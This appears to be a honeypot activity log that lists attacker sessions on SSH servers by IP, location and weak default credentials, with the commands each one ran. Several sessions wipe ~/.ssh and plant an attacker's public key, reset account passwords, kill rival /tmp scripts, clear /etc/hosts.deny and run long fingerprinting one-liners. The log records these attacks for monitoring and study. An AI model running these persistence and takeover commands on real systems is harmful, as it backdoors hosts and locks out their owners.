$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×13

$ uname -s -v -n -m 2 > /dev/null ×13

$ /bin/uname -s -v -n -m 2 > /dev/null ×13

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×13

$ busybox uname -s -v -n -m 2 > /dev/null ×13

$ ( [ -f /proc/version ] ×13

$ [ -f /proc/version ] ×13

$ head -1 /proc/version | cut -d -f1 ×13

$ [ -f /etc/os-release ] ×13

🎭 nocturnal_toucan_root (187.62.87.27) — Mairiporã, Brazil · 1 session · 20 cmds

2026-07-03 11:15 EDT · as admin/admin

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "admin\nE81N9WpQioro\nE81N9WpQioro"|passwd|bash

$ Enter new UNIX password:

$ echo "admin\nE81N9WpQioro\nE81N9WpQioro\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 sneaky_tulip_root (91.92.42.195) — Amsterdam, The Netherlands · 31 sessions · 31 cmds

2026-07-03 09:36 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 cryptic_stein_root (91.107.156.27) — Frankfurt Am Main, Germany · 1 session · 2 cmds

2026-07-03 10:38 EDT · as oracle/!QAZ2wsx

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 molten_phantom_root (91.92.40.47) — Varna, Bulgaria · 27 sessions · 27 cmds

2026-07-03 08:41 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×27

🎭 obsidian_void_sol (91.92.40.29) — Varna, Bulgaria · 27 sessions · 27 cmds

2026-07-03 08:03 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×27

🎭 venomous_acai_root_20 (201.222.20.20) — Camaçari, Brazil · 2 sessions · 21 cmds

2026-07-03 09:21 EDT · as oracle/123qwe!@#, root/qwerty

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:bOwLCWDkIXB4"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 grumpy_sensei_root (45.43.60.220) — Tokyo, Japan · 2 sessions · 21 cmds

2026-07-03 09:21 EDT · as oracle/123qwe!@#, root/qwerty

root/qwerty login → chattr -ia .ssh to disable immutable flag → rm -rf .ssh to clear existing keys → mkdir .ssh to recreate directory → inject new SSH-RSA public key via echo → chpasswd to set root:KkFvCzGixeV9 → pkill -9 to terminate existing secure.sh and auth.sh processes → clear /etc/hosts

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:KkFvCzGixeV9"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 midnight_star_root (185.150.190.165) — Piscataway, United States · 1 session · 20 cmds

2026-07-03 09:19 EDT · as docker/docker123

cd ~; chattr -ia .ssh; lockr -ia .ssh → cd ~ && rm -rf .ssh && mkdir .ssh → echo "ssh-rsa..." → cat /proc/cpuinfo | grep name | wc -l → echo "docker123\n15o9wqJxmMto..."|passwd|bash → Enter new UNIX password: → echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "docker123\n15o9wqJxmMto\n15o9wqJxmMto"|passwd|bash

$ Enter new UNIX password:

$ echo "docker123\n15o9wqJxmMto\n15o9wqJxmMto\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 sullen_clog_root (45.153.34.167) — Eygelshoven, The Netherlands · 62 sessions · 62 cmds

2026-07-01 16:13 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×62

🎭 listless_husk_root_235 (102.23.122.235) — Lusaka, Zambia · 1 session · 20 cmds

2026-07-03 06:27 EDT · as ubuntu/ubuntu

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "ubuntu\nATR6fyrS0b0v\nATR6fyrS0b0v"|passwd|bash

$ Enter new UNIX password:

$ echo "ubuntu\nATR6fyrS0b0v\nATR6fyrS0b0v\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 molten_junk_root (47.82.102.235) — Hong Kong, Hong Kong · 12 sessions · 12 cmds

2026-06-19 12:12 EDT · as admin/admin, admin/password, deploy/deploy123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×12

🎭 brazen_stroopwafel_root (45.153.34.114) — Eygelshoven, The Netherlands · 31 sessions · 31 cmds

2026-07-03 05:02 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 obsidian_baguette_root (158.220.111.161) — Lauterbourg, France · 3 sessions · 6 cmds

2026-06-17 22:51 EDT · as root/123456, root/password, root/toor

hostname discovery → free

$ hostname ×3

↳ hostname discovery

$ free -m | awk '/^Mem:/ {print $2}' ×3

🎭 baroque_mariachi_root (187.174.238.116) — Álvaro Obregón, Mexico · 1 session · 2 cmds

2026-07-03 00:08 EDT · as oracle/1qa2ws3ed

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 grumpy_mekong_root (103.189.208.13) — Sơn Trà, Vietnam · 1 session · 2 cmds

2026-07-02 23:49 EDT · as oracle/1qa2ws3ed

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 rogue_panda_root_222 (124.174.36.222) — Haidian, China · 1 session · 1 cmd

2026-07-02 22:47 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 nocturnal_wok_root_189 (101.96.202.189) — Haidian, China · 1 session · 1 cmd

2026-07-02 20:03 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 sneaky_durian_root (51.79.143.228) — Singapore, Singapore · 32 sessions · 32 cmds

2026-07-02 15:29 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×32

🎭 cryptic_orchid_root (139.99.74.35) — Singapore, Singapore · 1 session · 1 cmd

2026-07-02 17:08 EDT · as root/root

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a && echo "====" && cat /etc/os-release

🎭 savage_phantom_root (91.92.40.11) — Varna, Bulgaria · 52 sessions · 213 cmds

2026-06-12 17:35 EDT · as admin/123456, admin/admin, admin/admin123

Export PATH modification → OS fingerprinting via uname variants (system, version, hostname, architecture, release) → kernel version extraction from /proc/version → uptime verification via /proc/uptime → hardware profiling completion.

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×4

$ uname -s -v -n -m 2 > /dev/null ×47

$ /bin/uname -s -v -n -m 2 > /dev/null ×4

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×4

$ busybox uname -s -v -n -m 2 > /dev/null ×4

$ ( [ -f /proc/version ] ×4

$ [ -f /proc/version ] ×4

$ head -1 /proc/version | cut -d -f1 ×4

$ [ -f /etc/os-release ] ×4

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×43

$ uname -m 2 > /dev/null ×43

$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ×43

$ uname -s -v -n -r -m ×5

🎭 murky_liberty_root_26 (4.150.201.26) — Des Moines, United States · 1 session · 2 cmds

2026-07-02 13:16 EDT · as oracle/oracle123456

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 placid_cipher_root (91.92.40.4) — Varna, Bulgaria · 44 sessions · 116 cmds

2026-06-18 18:14 EDT · as admin/123456, admin/admin, admin/admin123

echo → export → uname → cat (repeated export 24x)

$ echo $HOME ×20

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×24

$ uname -s -v -n -m 2 > /dev/null ×24

$ uname -m 2 > /dev/null ×24

$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ×24

🎭 gnarled_husk_crypto (217.170.194.91) — Oslo, Norway · 4 sessions · 4 cmds

2026-07-02 11:22 EDT · as bitcoin/bitcoin, eth/eth

echo

$ echo "test" ×4

🎭 rusty_eagle_root_49 (92.118.39.49) — Dallas, United States · 3 sessions · 27 cmds

2026-07-02 11:25 EDT · as root/1234, root/123456, root/12345678

export PATH manipulation → uname -s -v -n -m system enumeration via multiple binary paths → /proc/version kernel check → /etc/os-release detection

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×3

$ uname -s -v -n -m 2 > /dev/null ×3

$ /bin/uname -s -v -n -m 2 > /dev/null ×3

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×3

